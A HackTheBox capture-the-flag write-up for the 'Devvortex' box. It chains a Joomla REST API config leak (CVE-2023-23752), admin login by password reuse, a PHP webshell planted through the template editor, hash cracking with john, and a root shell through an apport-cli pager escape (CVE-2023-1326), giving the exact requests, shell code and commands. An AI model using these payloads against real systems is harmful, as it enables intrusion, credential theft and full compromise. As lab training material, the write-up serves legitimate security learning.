// HackTheBox
Devvortex
Joomla unauth info disclosure (CVE-2023-23752) → admin template-editor RCE → apport-cli sudo (CVE-2023-1326)
Recon
nmap shows only the usual two ports:
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP (nginx, generic “DevVortex” landing page) |
The default site is a static “DevVortex” landing page — no Joomla generator tag,
no /administrator panel. The interesting surface is hidden behind a virtual
host (vhost): one web server can serve different sites depending on the Host
header the browser sends. Guessing Host headers by hand, dev.devvortex.htb
answers with a 200 (distinct from the default vhost’s 302 redirect), and its
page source references cassiopeia template assets — the tell-tale of a Joomla
install. Add the name to /etc/hosts so it resolves, and treat that vhost as the
real target:
<target-ip> devvortex.htb dev.devvortex.htb
Vhost enumeration mattered more than path enumeration here: the whole Joomla instance lived on a separate Host header and was invisible from the default site.
Foothold — CVE-2023-23752 (Joomla unauth info disclosure) → admin login → template-editor RCE
1. Leaking configuration.php over the REST API
Joomla 4.x ships a REST API, and CVE-2023-23752 is an access-control flaw in it:
appending ?public=true to certain API endpoints bypasses the authentication
check. Hitting the application-config endpoint unauthenticated dumps the site’s
live settings:
GET /api/index.php/v1/config/application?public=true
The response returns the full contents of configuration.php, including the
database credentials in cleartext: user=lewis, password=P4ntherg0t1n5r3c0n##.
This is a full-config leak (DB host, user, and password), not a minor
info-disclosure — so the leaked password is worth trying everywhere, not just
against MySQL.
2. Admin login by credential reuse
The same password works as the Joomla admin password for user lewis at
/administrator — the DB user’s password was reused for the CMS Super User
account. Logging in outside a browser means replicating Joomla’s login POST: fetch
the login form, scrape its CSRF token (a per-session anti-forgery value Joomla
requires on every state-changing request), then POST it back with
option=com_login&task=login plus the lewis:P4ntherg0t1n5r3c0n## credentials.
3. Template Manager → RCE as www-data
Joomla’s built-in Template Manager (com_templates) lets an authenticated Super
User edit template PHP source directly in the browser — a reliable RCE path that
needs no CVE once admin access is in hand. Edit cassiopeia/error.php and prepend
a one-line webshell before the original content:
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
Two things trip up an out-of-browser save:
- Every hidden field matters. The
template.savePOST needsjform[extension_id]andjform[filename](both scraped from the edit form’s own hidden inputs) in addition tojform[source],task=template.save, and the CSRF token. Omit those two and the save silently no-ops — no error page, the existing file unchanged — so it’s worth extracting every hidden input from the real edit form rather than guessing the minimal set. - The path is doubled. The
jform[filename]value the form itself reports was/var/www/dev.devvortex.htb/templates/cassiopeia/cassiopeia/error.php— a duplicatedcassiopeiapath segment (a file-manager path quirk in this Joomla version). So the live, web-reachable copy of the edited file ended up at/templates/cassiopeia/cassiopeia/error.php, not the expected/templates/cassiopeia/error.php. That doubled path is worth trusting literally rather than dismissing as a display glitch — confirmed by testing both paths.
Requesting the planted shell at the doubled path runs commands as www-data:
GET /templates/cassiopeia/cassiopeia/error.php?cmd=id
The whole chain (form fetch → token scrape → save → trigger) was wrapped in
exploit/joomla_template_rce.rb (Ruby + net/http + nokogiri, gem-installed
ad hoc rather than preinstalled).
Privilege Escalation
1. www-data → logan via cracked DB hash
With a shell, the same DB credentials sit in configuration.php on disk. Use them
with the local MySQL client to read the Joomla users table directly — the table is
prefixed sd4fg_ on this install, so it’s sd4fg_users:
$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -D joomla -e "SELECT username,password FROM sd4fg_users;"
That returns bcrypt password hashes for the CMS accounts. john is preinstalled;
pointed at rockyou.txt it cracks logan’s hash in about seven seconds:
$ john --wordlist=/usr/share/wordlists/rockyou.txt logan.hash
The plaintext is tequieromucho, and it is also logan’s real system/SSH
password — a second, independent case of credential reuse on this box. (lewis’s
own hash never needed cracking: the already-known plaintext
P4ntherg0t1n5r3c0n## matched it going the other way.) ssh logan@... lands a
proper user shell.
2. logan → root via apport-cli (CVE-2023-1326)
logan has one sudo entitlement:
$ sudo -l
(ALL : ALL) /usr/bin/apport-cli
It requires a password (not NOPASSWD). apport-cli is Ubuntu’s crash-report tool,
and CVE-2023-1326 is a privilege-escalation bug in it: when apport-cli shows a
report through its pager (less), the pager runs without dropping privileges, so a
!-shell-escape from inside less spawns a shell as root. Trigger a report, view
it, and break out of the pager:
sudo /usr/bin/apport-cli -f -p bash
# at the S/V/K/I/C prompt: V (view report)
# at the less ':' prompt: !/bin/bash
Gotcha — this needs a real TTY end-to-end. Don’t feed the sudo password with
echo pw | sudo -S ...: that redirects the whole pipeline’s stdin — including
apport-cli’s later termios calls — to the pipe, and the moment it tries to read a
raw keypress it dies with termios.error: (25, 'Inappropriate ioctl for device').
Enter the sudo password at its normal interactive prompt instead. Because this is a
multi-step interactive flow, it was driven with expect over an ssh -tt PTY,
with stty rows/cols set first (the CVE’s own stated prerequisite), then
password → V → !/bin/bash. The escaped shell runs as root — root.txt.
Key Takeaways
- Vhost enumeration mattered more than path enumeration here — the real Joomla
instance lived entirely on a distinct Host header (
dev.devvortex.htb), invisible from the default vhost. - CVE-2023-23752 is a full-config leak (DB host/user/password), not just a minor info-disclosure — always check the leaked DB password against the CMS’s own admin login, not just the database itself.
- Joomla’s own admin-side Template Manager is a reliable, no-CVE-needed RCE path once Super User access is had — but replicating its save request outside a real browser requires scraping every hidden form field (not just the obviously-named ones); extension_id/filename were easy to miss and silently no-op the save.
- A “duplicated path segment” bug in the file path a form itself reports is worth trusting literally (test the path exactly as given) rather than assuming it’s a cosmetic display glitch.
- Password reuse chains can be multi-hop on one box (DB password → CMS admin; a different cracked hash → a different system account) — don’t assume one reuse finding is the only one.
- Interactive multi-step remote exploitation (pager escapes, TUI prompts) needs a
real PTY end-to-end;
expect/sshpassoverssh -ttworks, but piping a sudo password via stdin breaks any later interactive step in the same command chain.